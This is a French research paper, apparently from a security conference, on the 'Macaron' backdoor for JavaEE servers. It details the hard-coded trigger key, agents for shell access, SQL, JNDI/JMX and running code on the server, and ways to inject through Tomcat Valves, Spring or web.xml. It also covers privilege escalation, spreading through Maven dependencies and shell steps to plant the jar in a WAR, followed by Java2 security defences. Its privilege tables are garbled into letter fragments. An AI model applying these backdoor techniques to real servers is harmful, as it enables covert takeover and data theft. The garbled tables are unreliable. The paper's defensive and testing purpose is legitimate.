clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
